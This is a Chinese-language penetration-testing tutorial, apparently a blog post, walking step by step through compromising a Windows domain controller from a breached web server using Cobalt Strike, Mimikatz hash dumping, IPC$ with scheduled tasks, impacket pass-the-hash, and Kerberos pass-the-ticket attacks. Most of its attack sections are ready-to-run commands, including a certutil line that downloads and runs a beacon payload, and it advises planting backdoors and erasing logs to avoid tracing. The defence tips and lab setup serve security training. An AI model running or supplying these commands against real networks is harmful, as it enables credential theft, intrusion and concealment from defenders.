内网横向移动实战:从单点攻破到域控沦陷

本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的!!本环境在个人虚拟机中浮现

在渗透测试中,拿下外网Web服务器往往只是开始。真正的挑战在于内网横向移动------利用已攻陷的主机作为跳板,逐步控制域内更多机器,最终拿下域控制器(DC)。本文结合Cobalt Strike(CS)环境,详细讲解内网横向移动的完整流程,涵盖信息收集、IPC连接、计划任务、impacket工具包、Socks代理转发以及Kerberos票据攻击(PTT)等多种技术,并辅以流程图和命令示例,帮助你系统掌握内网渗透的核心技巧。


一、环境拓扑与攻击思路

1.1 典型内网环境

text

复制代码
                    互联网
                      │
                      ▼
              ┌──────────────┐
              │  WebServer   │  ← 唯一对外服务,已通过Web漏洞获取权限
              │  10.0.0.x    │  双网卡:10.0.0.0/24 (外网段) + 192.168.3.0/24 (内网段)
              └──────┬───────┘
                     │ 内网
              ┌──────┴──────────────────────┐
              │                             │
         ┌────▼────┐                   ┌─────▼─────┐
         │  PC01   │                   │   DC      │
         │ 192.168.3.x │               │ 192.168.3.21 │
         └─────────┘                   └───────────┘
  • WebServer :已被控制,作为跳板机,可访问内网段192.168.3.0/24

  • 域控(DC) :目标机器,IP 192.168.3.21,域名为god.org

  • 其他内网主机:如Windows 7等,均不能访问外网,但可与WebServer通信。

1.2 攻击总体流程


二、初始上线与信息收集

2.1 通过WebShell上传CS木马

假设已获得WebShell(如菜刀、蚁剑连接),将Cobalt Strike生成的木马(beacon.exe)上传到WebServer,并执行上线。

CS监听器设置

  • Payload: Beacon HTTP/HTTPS

  • 监听地址:外网IP(攻击机)

执行后,CS会显示一个Beacon会话。

2.2 判断是否在域环境

在Beacon中执行:

复制代码
bash

shell net time /domain
复制代码

若返回类似 \\DC.god.org 的域名,则说明当前主机已加入域。

2.3 定位域控IP

复制代码
bash

shell ping OWA2010CN-God.god.org -4
复制代码

返回的IP即为域控地址(例:192.168.3.21)。

2.4 收集域用户及组信息

复制代码
bash

shell net user /domain          # 列出域用户
shell net group "Domain Admins" /domain   # 域管组成员
复制代码

2.5 收集内网端口/存活主机

使用CS插件或portscan命令扫描内网段:

复制代码
bash

portscan 192.168.3.0/24 1-1024 arp 200
复制代码

扫描结果可在"视图" → "目标"中查看。

2.6 抓取凭据(提权后)

当前会话可能为webadmin低权限,需先提权至SYSTEM。

  • 使用CS的elevate功能(如ms14-058uac-token-duplication等)。

  • 提权成功后会产生一个SYSTEM会话。

抓取密码和Hash

在SYSTEM会话中右键 → "Access" → "Dump Hashes" / "Run Mimikatz"。

获取的明文密码或NTLM Hash将保存在CS的"凭据信息"中。

示例抓到的凭据:

账号:god\administrator 密码:Admin12345

Hash:cccf208c6485269c20db2cad21734fe7

这些凭据是横向移动的核心武器。


三、IPC连接与计划任务正向/反向上线

3.1 什么是IPC$

IPC$(Internet Process Connection)是Windows进程间共享的命名管道。通过net use建立IPC连接后,可远程复制文件、创建计划任务等。

前提条件

  • 拥有目标机器的账号密码或Hash。

  • 目标开启IPC$共享(默认开启)。

3.2 正向连接(目标主动连攻击机监听端口)

步骤

  1. 创建正向监听器

    CS中:ListenersAdd → 选择Beacon TCP(正向),端口如4444

  2. 生成木马

    AttacksPackagesWindows Executable,选择上述正向监听器,生成4444.exe

  3. 建立IPC连接

    方法一:手动命令

    复制代码
    bash
    
    shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
    复制代码

    方法二:右键SYSTEM会话 → Lateral MovementIPC Connect,填写IP和凭据。

  4. 复制木马到目标

    复制代码
    bash
    
    shell copy C:\path\to\4444.exe \\192.168.3.21\c$\
    复制代码
  5. 创建计划任务执行木马

    先查看目标系统时间:

    复制代码
    bash
    
    shell net time \\192.168.3.21
    复制代码

    根据版本选择命令:

    • Windows 2012之前(如Win7/2008):at

      复制代码
      bash
      
      shell at \\192.168.3.21 15:30 c:\4444.exe
      复制代码
    • Windows 2012及之后:schtasks

      复制代码
      bash
      
      shell schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe /F
      复制代码
  6. 攻击机连接目标

    等待计划任务执行后,在CS中:

    复制代码
    bash
    
    connect 192.168.3.21 4444
    复制代码

    成功则出现新的Beacon会话。

3.3 反向连接(目标主动连攻击机监听器)

反向连接适用于目标主机可以访问攻击机(但在内网场景中,攻击机通常无法被直接访问,需使用转发上线)。

步骤

  1. 创建转发上线监听器

    CS中:ListenersAddBeacon SMBBeacon HTTP,但需在已上线会话中设置"转发上线"。

    具体:右键已提权的SYSTEM会话 → PivotingListener → 新建一个反向监听器,IP填写当前受控主机的内网IP (如192.168.3.31)。

  2. 生成反向木马 (监听器选刚才创建的),得到5555.exe

  3. 通过IPC复制到目标(同上)。

  4. 用计划任务运行 (同上)。

  5. 等待上线 :目标执行后,会主动连接受控主机的内网IP,CS自动接收新会话。


四、利用impacket套件横向移动

impacket是一组Python协议工具,可远程执行命令、上传下载文件。实际渗透中可将编译好的exe版本上传到WebServer,或者通过Socks代理直接在本地运行Python版。

4.1 直接上传exe版(atexec.exe示例)

  1. atexec.exe通过CS文件管理上传到WebServer。

  2. 在Beacon中执行:

    复制代码
    bash
    
    shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
    复制代码

    返回ntauthority\system即成功。

  3. 支持Hash传递(Pass the Hash):

    复制代码
    bash
    
    shell atexec.exe -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami"
    复制代码
  4. 远程下载并执行木马

    先在WebServer上搭建简易HTTP服务(如python -m http.server 80),放好5555.exe

    然后通过atexec执行certutil下载:

    复制代码
    bash
    
    shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31/5555.exe fan.exe"
    shell atexec.exe ... "fan.exe"
    复制代码

    等待CS上线。

4.2 通过Socks代理使用impacket(无需上传工具)

优点:本地运行原版Python脚本,隐蔽性高。

步骤

  1. 开启Socks代理

    在CS会话中右键 → PivotingSOCKS Server,设置端口(如1080)。

  2. 配置本地proxychains

    /etc/proxychains.conf 添加 socks4 127.0.0.1 1080

  3. 本地运行impacket脚本

    复制代码
    bash
    
    proxychains python3 psexec.py god/administrator:Admin12345@192.168.3.21
    复制代码

    或使用Hash:

    复制代码
    bash
    
    proxychains python3 psexec.py -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21
    复制代码
  4. 通过smbexec/wmiexec获取交互式cmd

    复制代码
    bash
    
    proxychains python3 wmiexec.py -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21
    复制代码

    成功后会得到一个半交互式shell,可执行命令、上传下载。

  5. 将获得的shell转移至CS

    在上述shell中执行certutil下载CS木马并运行,即可上线。


五、票据传递(Pass The Ticket, PTT)攻击

Kerberos协议中,TGT(Ticket Granting Ticket)是域身份认证的核心。如果能伪造或导出合法的TGT,即可访问域内任意服务,甚至拿下域控。

5.1 Kerberos相关概念速查

术语 含义
KDC 密钥分发中心,域控上运行
AS 认证服务,发放TGT
TGT 登录票据,由AS签发,默认有效期10小时
TGS 票据授予服务,发放ST
ST 服务票据,用于访问特定服务
krbtgt 域内用于加密TGT的账户,其NTLM Hash是黄金票据的关键
黄金票据 伪造的TGT,可访问任何服务
白银票据 伪造的ST,仅能访问特定服务

5.2 方法一:MS14-068漏洞生成TGT(需明文密码)

原理:MS14-068允许低权限域用户伪造高权限TGT,直接攻击域控(无需域控凭据)。

步骤

  1. 获取当前用户的SID:

    复制代码
    bash
    
    shell whoami /user
    复制代码

    输出类似:S-1-5-21-...-1104

  2. 利用工具MS14-068.exe生成票据:

    复制代码
    bash
    
    MS14-068.exe -u webadmin@god.org -p 明文密码 -s SID -d 192.168.3.21
    复制代码

    生成文件如TGT_webadmin@god.org.ccache

  3. 清除当前缓存票据:

    复制代码
    bash
    
    shell klist purge
    复制代码
  4. 使用mimikatz导入票据:

    复制代码
    bash
    
    mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
    复制代码
  5. 验证访问域控共享:

    复制代码
    bash
    
    shell dir \\owa2010cn-god\c$
    复制代码

    若能列出目录,则成功。此时可进一步使用psexec等上线。

5.3 方法二:kekeo利用NTLM Hash生成TGT

适用:已有域管理员账号的Hash,但没有明文密码。

  1. 生成票据:

    复制代码
    bash
    
    kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:cccf208c6485269c20db2cad21734fe7"
    复制代码

    生成TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

  2. 清除原票据后导入:

    复制代码
    bash
    
    kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt-god.org@GOD.ORG.kirbi"
    复制代码
  3. 验证同上。

5.4 方法三:mimikatz导出内存中的历史票据

前提:域管理员等高权限账户曾登录过当前主机,且票据未过期。

  1. 导出所有票据:

    复制代码
    bash
    
    mimikatz sekurlsa::tickets /export
    复制代码

    票据会保存在当前目录下,文件名形如[0;3e7]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi

  2. 选择一个高权限票据(如Administrator的krbtgt票据),清除当前票据后导入:

    复制代码
    bash
    
    mimikatz kerberos::ptt 票据文件.kirbi
    复制代码
  3. 连接域控验证。

5.5 票据攻击总结

方法 所需条件 优点 缺点
MS14-068 域用户明文密码 直接伪造高权限TGT 需补丁未打(目前已极少)
kekeo 域管NTLM Hash 无需明文密码,较通用 需要知道Hash
mimikatz导出 主机内存中有高权限票据 无需额外凭据 依赖历史登录且未超时

六、总结与防御建议

6.1 横向移动技术对比

技术 核心原理 使用场景 优缺点
IPC + 计划任务 利用共享复制文件,at/schtasks执行 Windows全版本 简单稳定,但容易被日志记录
impacket psexec 通过服务创建远程执行 需要管理员权限 功能强大,支持Hash传递
wmiexec WMI协议执行命令 无需445端口?实际需要 较隐蔽,但半交互式
Socks代理 将内网流量转发至本地 不想上传工具 灵活,但速度较慢
PTT票据 Kerberos伪造票据 域环境 非常隐蔽,可绕过常见检测

6.2 防御措施

  • 最小权限原则:域管账户不应登录普通服务器。

  • 补丁管理:MS14-068等高危补丁必须安装。

  • 监控日志 :关注net useatschtaskswmic进程创建,以及4624登录事件。

  • 限制IPC$访问:通过组策略禁用空密码访问。

  • 启用Credential Guard:防止mimikatz读取明文密码。

  • 定期更换krbtgt密码:使黄金票据失效。

6.3 内网横向思维导图


七、实战建议

  • 先收集后移动:不要盲目横向,先掌握内网拓扑、凭据、关键服务。

  • 优先使用Hash传递:很多环境无法抓取明文,但NTLM Hash仍可利用。

  • 票据攻击是利器:在域环境中,PTT往往比明文密码更隐蔽、更有效。

  • 保持持久化:在关键主机上留下后门(如计划任务、服务、WMI事件订阅)。

  • 清理痕迹:删除上传的工具、日志记录,避免被溯源。

内网横向移动是渗透测试中极为考验综合能力的一环。掌握上述技术,并结合实际环境灵活运用,才能在攻防演练或真实授权测试中游刃有余。

本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的。

相关推荐
lcreek1 小时前
SQL 注入实战:DVWA LOW完整测试指南
网络安全·sql注入
202321336073 毛敏磊1 小时前
个人总结——网络安全与软件工程综合实践
安全·web安全·软件工程
德迅云安全-甲锵1 小时前
SCDN:以极致节点能力,重塑网络安全与加速新体验
安全·web安全
LittleCoder6661 小时前
什么是双 SIM 冗余?工业路由器如何实现网络备份和故障切换
网络·智能路由器
炸炸鱼.1 小时前
Ansible 企业级实战:Playbook 与 Roles 完全指南
网络·ansible
网安小白的进阶之路1 小时前
B模块 安全通信网络 第二门课IPv6与WLAN 04
网络·安全·智能路由器
yuanjj882 小时前
域格ASR平台cat1模块FTP上传、下载
运维·网络
比昨天多敲两行2 小时前
Linux 网络基础
网络
XiaoLin laile2 小时前
自主可控越来越重要,信创即时通讯为什么备受青睐
网络